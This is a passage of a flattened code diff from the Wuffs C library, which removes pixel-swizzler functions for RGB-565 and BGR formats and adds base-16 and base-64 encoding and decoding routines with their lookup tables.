Base-16 - -- // TODO: unroll. -+WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // -+wuffs_base__base_16__decode2(wuffs_base__slice_u8 dst, -+ wuffs_base__slice_u8 src, -+ bool src_closed, -+ uint32_t options) { -+ wuffs_base__transform__output o; -+ size_t src_len2 = src.len / 2; -+ size_t len; -+ if (dst.len < src_len2) { -+ len = dst.len; -+ o.status.repr = wuffs_base__suspension__short_write; -+ } else { -+ len = src_len2; -+ if (!src_closed) { -+ o.status.repr = wuffs_base__suspension__short_read; -+ } else if (src.len & 1) { -+ o.status.repr = wuffs_base__error__bad_data; -+ } else { -+ o.status.repr = NULL; -+ } -+ } - -- while (n >= 1) { -- // Extract 16-bit color components. -- uint32_t sa = 0x101 * ((uint32_t)s[3]); -- uint32_t sb = 0x101 * ((uint32_t)s[2]); -- uint32_t sg = 0x101 * ((uint32_t)s[1]); -- uint32_t sr = 0x101 * ((uint32_t)s[0]); -+ uint8_t* d = dst.ptr; -+ uint8_t* s = src.ptr; -+ size_t n = len; - -- // Convert from 565 color to 16-bit color. -- uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); -- uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); -- uint32_t dr = (0x8421 * old_r5) >> 4; -- uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); -- uint32_t dg = (0x1041 * old_g6) >> 2; -- uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); -- uint32_t db = (0x8421 * old_b5) >> 4; -+ while (n--) { -+ *d = (uint8_t)((wuffs_base__parse_number__hexadecimal_digits[s[0]] << 4) | -+ (wuffs_base__parse_number__hexadecimal_digits[s[1]] & 0x0F)); -+ d += 1; -+ s += 2; -+ } - -- // Calculate the inverse of the src-alpha: how much of the dst to keep. -- uint32_t ia = 0xFFFF - sa; -+ o.num_dst = len; -+ o.num_src = len * 2; -+ return o; -+} - -- // Composite src (premul) over dst (premul). -- dr = sr + ((dr * ia) / 0xFFFF); -- dg = sg + ((dg * ia) / 0xFFFF); -- db = sb + ((db * ia) / 0xFFFF); -+WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // -+wuffs_base__base_16__decode4(wuffs_base__slice_u8 dst, -+ wuffs_base__slice_u8 src, -+ bool src_closed, -+ uint32_t options) { -+ wuffs_base__transform__output o; -+ size_t src_len4 = src.len / 4; -+ size_t len = dst.len < src_len4 ? dst.len : src_len4; -+ if (dst.len < src_len4) { -+ len = dst.len; -+ o.status.repr = wuffs_base__suspension__short_write; -+ } else { -+ len = src_len4; -+ if (!src_closed) { -+ o.status.repr = wuffs_base__suspension__short_read; -+ } else if (src.len & 1) { -+ o.status.repr = wuffs_base__error__bad_data; -+ } else { -+ o.status.repr = NULL; -+ } -+ } - -- // Convert from 16-bit color to 565 color and combine the components. -- uint32_t new_r5 = 0x1F & (dr >> 11); -- uint32_t new_g6 = 0x3F & (dg >> 10); -- uint32_t new_b5 = 0x1F & (db >> 11); -- uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); -- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); -+ uint8_t* d = dst.ptr; -+ uint8_t* s = src.ptr; -+ size_t n = len; - -- s += 1 * 4; -- d += 1 * 2; -- n -= 1; -+ while (n--) { -+ *d = (uint8_t)((wuffs_base__parse_number__hexadecimal_digits[s[2]] << 4) | -+ (wuffs_base__parse_number__hexadecimal_digits[s[3]] & 0x0F)); -+ d += 1; -+ s += 4; - } - -- return len; -+ o.num_dst = len; -+ o.num_src = len * 4; -+ return o; - } - --static uint64_t // --wuffs_base__pixel_swizzler__bgr_565__y(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len2 = dst_len / 2; -- size_t len = (dst_len2 < src_len) ? dst_len2 : src_len; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -- -- // TODO: unroll. -+WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // -+wuffs_base__base_16__encode2(wuffs_base__slice_u8 dst, -+ wuffs_base__slice_u8 src, -+ bool src_closed, -+ uint32_t options) { -+ wuffs_base__transform__output o; -+ size_t dst_len2 = dst.len / 2; -+ size_t len; -+ if (dst_len2 < src.len) { -+ len = dst_len2; -+ o.status.repr = wuffs_base__suspension__short_write; -+ } else { -+ len = src.len; -+ if (!src_closed) { -+ o.status.repr = wuffs_base__suspension__short_read; -+ } else { -+ o.status.repr = NULL; -+ } -+ } - -- while (n >= 1) { -- uint32_t y5 = s[0] >> 3; -- uint32_t y6 = s[0] >> 2; -- uint32_t rgb_565 = (y5 << 11) | (y6 << 5) | (y5 << 0); -- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); -+ uint8_t* d = dst.ptr; -+ uint8_t* s = src.ptr; -+ size_t n = len; - -- s += 1 * 1; -- d += 1 * 2; -- n -= 1; -+ while (n--) { -+ uint8_t c = *s; -+ d[0] = wuffs_private_impl__encode_base16[c >> 4]; -+ d[1] = wuffs_private_impl__encode_base16[c & 0x0F]; -+ d += 2; -+ s += 1; - } - -- return len; -+ o.num_dst = len * 2; -+ o.num_src = len; -+ return o; - } - --static uint64_t // --wuffs_base__pixel_swizzler__bgr_565__y_16be(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len2 = dst_len / 2; -- size_t src_len2 = src_len / 2; -- size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -- -- // TODO: unroll. -+WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // -+wuffs_base__base_16__encode4(wuffs_base__slice_u8 dst, -+ wuffs_base__slice_u8 src, -+ bool src_closed, -+ uint32_t options) { -+ wuffs_base__transform__output o; -+ size_t dst_len4 = dst.len / 4; -+ size_t len; -+ if (dst_len4 < src.len) { -+ len = dst_len4; -+ o.status.repr = wuffs_base__suspension__short_write; -+ } else { -+ len = src.len; -+ if (!src_closed) { -+ o.status.repr = wuffs_base__suspension__short_read; -+ } else { -+ o.status.repr = NULL; -+ } -+ } - -- while (n >= 1) { -- uint32_t y5 = s[0] >> 3; -- uint32_t y6 = s[0] >> 2; -- uint32_t rgb_565 = (y5 << 11) | (y6 << 5) | (y5 << 0); -- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); -+ uint8_t* d = dst.ptr; -+ uint8_t* s = src.ptr; -+ size_t n = len; - -- s += 1 * 2; -- d += 1 * 2; -- n -= 1; -+ while (n--) { -+ uint8_t c = *s; -+ d[0] = '\\'; -+ d[1] = 'x'; -+ d[2] = wuffs_private_impl__encode_base16[c >> 4]; -+ d[3] = wuffs_private_impl__encode_base16[c & 0x0F]; -+ d += 4; -+ s += 1; - } - -- return len; -+ o.num_dst = len * 4; -+ o.num_src = len; -+ return o; - } - --static uint64_t // --wuffs_base__pixel_swizzler__bgr_565__index__src(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- if (dst_palette_len != -- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -- return 0; -- } -- size_t dst_len2 = dst_len / 2; -- size_t len = (dst_len2 < src_len) ? dst_len2 : src_len; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+// ---------------- Base-64 - -- const size_t loop_unroll_count = 4; -+// The two base-64 alphabets, std and url, differ only in the last two codes. -+// - std: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" -+// - url: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" - -- while (n >= loop_unroll_count) { -- wuffs_base__poke_u16le__no_bounds_check( -- d + (0 * 2), wuffs_base__peek_u16le__no_bounds_check( -- dst_palette_ptr + ((size_t)s[0] * 4))); -- wuffs_base__poke_u16le__no_bounds_check( -- d + (1 * 2), wuffs_base__peek_u16le__no_bounds_check( -- dst_palette_ptr + ((size_t)s[1] * 4))); -- wuffs_base__poke_u16le__no_bounds_check( -- d + (2 * 2), wuffs_base__peek_u16le__no_bounds_check( -- dst_palette_ptr + ((size_t)s[2] * 4))); -- wuffs_base__poke_u16le__no_bounds_check( -- d + (3 * 2), wuffs_base__peek_u16le__no_bounds_check( -- dst_palette_ptr + ((size_t)s[3] * 4))); -+static const uint8_t wuffs_base__base_64__decode_std[256] = { -+ // 0 1 2 3 4 5 6 7 -+ // 8 9 A B C D E F -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x00 ..= 0x07. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x08 ..= 0x0F. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x10 ..= 0x17. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x18 ..= 0x1F. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x20 ..= 0x27. -+ 0x80, 0x80, 0x80, 0x3E, 0x80, 0x80, 0x80, 0x3F, // 0x28 ..= 0x2F. -+ 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, // 0x30 ..= 0x37. -+ 0x3C, 0x3D, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x38 ..= 0x3F. - -- s += loop_unroll_count * 1; -- d += loop_unroll_count * 2; -- n -= loop_unroll_count; -- } -+ 0x80, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // 0x40 ..= 0x47. -+ 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, // 0x48 ..= 0x4F. -+ 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, // 0x50 ..= 0x57. -+ 0x17, 0x18, 0x19, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x58 ..= 0x5F. -+ 0x80, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, // 0x60 ..= 0x67. -+ 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, // 0x68 ..= 0x6F. -+ 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, // 0x70 ..= 0x77. -+ 0x31, 0x32, 0x33, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x78 ..= 0x7F. - -- while (n >= 1) { -- wuffs_base__poke_u16le__no_bounds_check( -- d + (0 * 2), wuffs_base__peek_u16le__no_bounds_check( -- dst_palette_ptr + ((size_t)s[0] * 4))); -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x80 ..= 0x87. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x88 ..= 0x8F. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x90 ..= 0x97. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x98 ..= 0x9F. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xA0 ..= 0xA7. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xA8 ..= 0xAF. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xB0 ..= 0xB7. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xB8 ..= 0xBF. - -- s += 1 * 1; -- d += 1 * 2; -- n -= 1; -- } -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xC0 ..= 0xC7. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xC8 ..= 0xCF. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xD0 ..= 0xD7. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xD8 ..= 0xDF. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xE0 ..= 0xE7. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xE8 ..= 0xEF. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF0 ..= 0xF7. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF8 ..= 0xFF. -+ // 0 1 2 3 4 5 6 7 -+ // 8 9 A B C D E F -+}; - -- return len; --} -+static const uint8_t wuffs_base__base_64__decode_url[256] = { -+ // 0 1 2 3 4 5 6 7 -+ // 8 9 A B C D E F -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x00 ..= 0x07. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x08 ..= 0x0F. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x10 ..= 0x17. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x18 ..= 0x1F. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x20 ..= 0x27. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x3E, 0x80, 0x80, // 0x28 ..= 0x2F. -+ 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, // 0x30 ..= 0x37. -+ 0x3C, 0x3D, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x38 ..= 0x3F. - --static uint64_t // --wuffs_base__pixel_swizzler__bgr_565__index_bgra_nonpremul__src_over( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- if (dst_palette_len != -- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -- return 0; -- } -- size_t dst_len2 = dst_len / 2; -- size_t len = (dst_len2 < src_len) ? dst_len2 : src_len; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+ 0x80, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // 0x40 ..= 0x47. -+ 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, // 0x48 ..= 0x4F. -+ 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, // 0x50 ..= 0x57. -+ 0x17, 0x18, 0x19, 0x80, 0x80, 0x80, 0x80, 0x3F, // 0x58 ..= 0x5F. -+ 0x80, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, // 0x60 ..= 0x67. -+ 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, // 0x68 ..= 0x6F. -+ 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, // 0x70 ..= 0x77. -+ 0x31, 0x32, 0x33, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x78 ..= 0x7F. - -- // TODO: unroll. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x80 ..= 0x87. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x88 ..= 0x8F. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x90 ..= 0x97. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x98 ..= 0x9F. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xA0 ..= 0xA7. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xA8 ..= 0xAF. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xB0 ..= 0xB7. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xB8 ..= 0xBF. - -- while (n >= 1) { -- uint32_t d0 = wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( -- wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2))); -- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -- ((size_t)s[0] * 4)); -- wuffs_base__poke_u16le__no_bounds_check( -- d + (0 * 2), -- wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( -- wuffs_base__composite_premul_nonpremul_u32_axxx(d0, s0))); -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xC0 ..= 0xC7. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xC8 ..= 0xCF. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xD0 ..= 0xD7. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xD8 ..= 0xDF. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xE0 ..= 0xE7. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xE8 ..= 0xEF. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF0 ..= 0xF7. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF8 ..= 0xFF. -+ // 0 1 2 3 4 5 6 7 -+ // 8 9 A B C D E F -+}; - -- s += 1 * 1; -- d += 1 * 2; -- n -= 1; -- } -+static const uint8_t wuffs_base__base_64__encode_std[64] = { -+ // 0 1 2 3 4 5 6 7 -+ // 8 9 A B C D E F -+ 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, // 0x00 ..= 0x07. -+ 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, // 0x08 ..= 0x0F. -+ 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, // 0x10 ..= 0x17. -+ 0x59, 0x5A, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, // 0x18 ..= 0x1F. -+ 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, // 0x20 ..= 0x27. -+ 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, // 0x28 ..= 0x2F. -+ 0x77, 0x78, 0x79, 0x7A, 0x30, 0x31, 0x32, 0x33, // 0x30 ..= 0x37. -+ 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x2B, 0x2F, // 0x38 ..= 0x3F. -+}; - -- return len; --} -+static const uint8_t wuffs_base__base_64__encode_url[64] = { -+ // 0 1 2 3 4 5 6 7 -+ // 8 9 A B C D E F -+ 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, // 0x00 ..= 0x07. -+ 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, // 0x08 ..= 0x0F. -+ 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, // 0x10 ..= 0x17. -+ 0x59, 0x5A, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, // 0x18 ..= 0x1F. -+ 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, // 0x20 ..= 0x27. -+ 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, // 0x28 ..= 0x2F. -+ 0x77, 0x78, 0x79, 0x7A, 0x30, 0x31, 0x32, 0x33, // 0x30 ..= 0x37. -+ 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x2D, 0x5F, // 0x38 ..= 0x3F. -+}; - --static uint64_t // --wuffs_base__pixel_swizzler__bgr_565__index_binary_alpha__src_over( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- if (dst_palette_len != -- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -- return 0; -- } -- size_t dst_len2 = dst_len / 2; -- size_t len = (dst_len2 < src_len) ? dst_len2 : src_len; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+// -------- - -- // TODO: unroll. -+WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // -+wuffs_base__base_64__decode(wuffs_base__slice_u8 dst, -+ wuffs_base__slice_u8 src, -+ bool src_closed, -+ uint32_t options) { -+ const uint8_t* alphabet = (options & WUFFS_BASE__BASE_64__URL_ALPHABET) -+ ? wuffs_base__base_64__decode_url -+ : wuffs_base__base_64__decode_std; -+ wuffs_base__transform__output o; -+ uint8_t* d_ptr = dst.ptr; -+ size_t d_len = dst.len; -+ const uint8_t* s_ptr = src.ptr; -+ size_t s_len = src.len; -+ bool pad = false; - -- while (n >= 1) { -- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -- ((size_t)s[0] * 4)); -- if (s0) { -- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)s0); -- } -+ while (s_len >= 4) { -+ uint32_t s = wuffs_base__peek_u32le__no_bounds_check(s_ptr); -+ uint32_t s0 = alphabet[0xFF & (s >> 0)]; -+ uint32_t s1 = alphabet[0xFF & (s >> 8)]; -+ uint32_t s2 = alphabet[0xFF & (s >> 16)]; -+ uint32_t s3 = alphabet[0xFF & (s >> 24)]; - -- s += 1 * 1; -- d += 1 * 2; -- n -= 1; -- } -+ if (((s0 | s1 | s2 | s3) & 0xC0) != 0) { -+ if (s_len > 4) { -+ o.status.repr = wuffs_base__error__bad_data; -+ goto done; -+ } else if (!src_closed) { -+ o.status.repr = wuffs_base__suspension__short_read; -+ goto done; -+ } else if ((options & WUFFS_BASE__BASE_64__DECODE_ALLOW_PADDING) && -+ (s_ptr[3] == '=')) { -+ pad = true; -+ if (s_ptr[2] == '=') { -+ goto src2; -+ } -+ goto src3; -+ } -+ o.status.repr = wuffs_base__error__bad_data; -+ goto done; -+ } - -- return len; --} -+ if (d_len < 3) { -+ o.status.repr = wuffs_base__suspension__short_write; -+ goto done; -+ } - --// -------- -+ s_ptr += 4; -+ s_len -= 4; -+ s = (s0 << 18) | (s1 << 12) | (s2 << 6) | (s3 << 0); -+ *d_ptr++ = (uint8_t)(s >> 16); -+ *d_ptr++ = (uint8_t)(s >> 8); -+ *d_ptr++ = (uint8_t)(s >> 0); -+ d_len -= 3; -+ } - --static uint64_t // --wuffs_base__pixel_swizzler__bgr__bgr_565(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len3 = dst_len / 3; -- size_t src_len2 = src_len / 2; -- size_t len = (dst_len3 < src_len2) ? dst_len3 : src_len2; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+ if (!src_closed) { -+ o.status.repr = wuffs_base__suspension__short_read; -+ goto done; -+ } - -- // TODO: unroll. -+ if (s_len == 0) { -+ o.status.repr = NULL; -+ goto done; -+ } else if (s_len == 1) { -+ o.status.repr = wuffs_base__error__bad_data; -+ goto done; -+ } else if (s_len == 2) { -+ goto src2; -+ } - -- while (n >= 1) { -- uint32_t s0 = wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( -- wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2))); -- wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); -+src3: -+ do { -+ uint32_t s = wuffs_base__peek_u24le__no_bounds_check(s_ptr); -+ uint32_t s0 = alphabet[0xFF & (s >> 0)]; -+ uint32_t s1 = alphabet[0xFF & (s >> 8)]; -+ uint32_t s2 = alphabet[0xFF & (s >> 16)]; -+ if ((s0 & 0xC0) || (s1 & 0xC0) || (s2 & 0xC3)) { -+ o.status.repr = wuffs_base__error__bad_data; -+ goto done; -+ } -+ if (d_len < 2) { -+ o.status.repr = wuffs_base__suspension__short_write; -+ goto done; -+ } -+ s_ptr += pad ? 4 : 3; -+ s = (s0 << 18) | (s1 << 12) | (s2 << 6); -+ *d_ptr++ = (uint8_t)(s >> 16); -+ *d_ptr++ = (uint8_t)(s >> 8); -+ o.status.repr = NULL; -+ goto done; -+ } while (0); - -- s += 1 * 2; -- d += 1 * 3; -- n -= 1; -- } -+src2: -+ do { -+ uint32_t s = wuffs_base__peek_u16le__no_bounds_check(s_ptr); -+ uint32_t s0 = alphabet[0xFF & (s >> 0)]; -+ uint32_t s1 = alphabet[0xFF & (s >> 8)]; -+ if ((s0 & 0xC0) || (s1 & 0xCF)) { -+ o.status.repr = wuffs_base__error__bad_data; -+ goto done; -+ } -+ if (d_len < 1) { -+ o.status.repr = wuffs_base__suspension__short_write; -+ goto done; -+ } -+ s_ptr += pad ? 4 : 2; -+ s = (s0 << 18) | (s1 << 12); -+ *d_ptr++ = (uint8_t)(s >> 16); -+ o.status.repr = NULL; -+ goto done; -+ } while (0); - -- return len; -+done: -+ o.num_dst = (size_t)(d_ptr - dst.ptr); -+ o.num_src = (size_t)(s_ptr - src.ptr); -+ return o; - } - --static uint64_t // --wuffs_base__pixel_swizzler__bgr__bgra_nonpremul__src(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len3 = dst_len / 3; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // -+wuffs_base__base_64__encode(wuffs_base__slice_u8 dst, -+ wuffs_base__slice_u8 src, -+ bool src_closed, -+ uint32_t options) { -+ const uint8_t* alphabet = (options & WUFFS_BASE__BASE_64__URL_ALPHABET) -+ ? wuffs_base__base_64__encode_url -+ : wuffs_base__base_64__encode_std; -+ wuffs_base__transform__output o; -+ uint8_t* d_ptr = dst.ptr; -+ size_t d_len = dst.len; -+ const uint8_t* s_ptr = src.ptr; -+ size_t s_len = src.len; - -- // TODO: unroll. -+ do { -+ while (s_len >= 3) { -+ if (d_len < 4) { -+ o.status.repr = wuffs_base__suspension__short_write; -+ goto done; -+ } -+ uint32_t s = wuffs_base__peek_u24be__no_bounds_check(s_ptr); -+ s_ptr += 3; -+ s_len -= 3; -+ *d_ptr++ = alphabet[0x3F & (s >> 18)]; -+ *d_ptr++ = alphabet[0x3F & (s >> 12)]; -+ *d_ptr++ = alphabet[0x3F & (s >> 6)]; -+ *d_ptr++ = alphabet[0x3F & (s >> 0)]; -+ d_len -= 4; -+ } - -- while (n >= 1) { -- uint32_t s0 = -- wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( -- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); -- wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); -+ if (!src_closed) { -+ o.status.repr = wuffs_base__suspension__short_read; -+ goto done; -+ } - -- s += 1 * 4; -- d += 1 * 3; -- n -= 1; -- } -+ if (s_len == 2) { -+ if (d_len < -+ ((options & WUFFS_BASE__BASE_64__ENCODE_EMIT_PADDING) ? 4 : 3)) { -+ o.status.repr = wuffs_base__suspension__short_write; -+ goto done; -+ } -+ uint32_t s = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(s_ptr))) -+ << 8; -+ s_ptr += 2; -+ *d_ptr++ = alphabet[0x3F & (s >> 18)]; -+ *d_ptr++ = alphabet[0x3F & (s >> 12)]; -+ *d_ptr++ = alphabet[0x3F & (s >> 6)]; -+ if (options & WUFFS_BASE__BASE_64__ENCODE_EMIT_PADDING) { -+ *d_ptr++ = '='; -+ } -+ o.status.repr = NULL; -+ goto done; - -- return len; --} -+ } else if (s_len == 1) { -+ if (d_len < -+ ((options & WUFFS_BASE__BASE_64__ENCODE_EMIT_PADDING) ? 4 : 2)) { -+ o.status.repr = wuffs_base__suspension__short_write; -+ goto done; -+ } -+ uint32_t s = ((uint32_t)(wuffs_base__peek_u8__no_bounds_check(s_ptr))) -+ << 16; -+ s_ptr += 1; -+ *d_ptr++ = alphabet[0x3F & (s >> 18)]; -+ *d_ptr++ = alphabet[0x3F & (s >> 12)]; -+ if (options & WUFFS_BASE__BASE_64__ENCODE_EMIT_PADDING) { -+ *d_ptr++ = '='; -+ *d_ptr++ = '='; -+ } -+ o.status.repr = NULL; -+ goto done; - --static uint64_t // --wuffs_base__pixel_swizzler__bgr__bgra_nonpremul_4x16le__src( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len3 = dst_len / 3; -- size_t src_len8 = src_len / 8; -- size_t len = (dst_len3 < src_len8) ? dst_len3 : src_len8; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+ } else { -+ o.status.repr = NULL; -+ 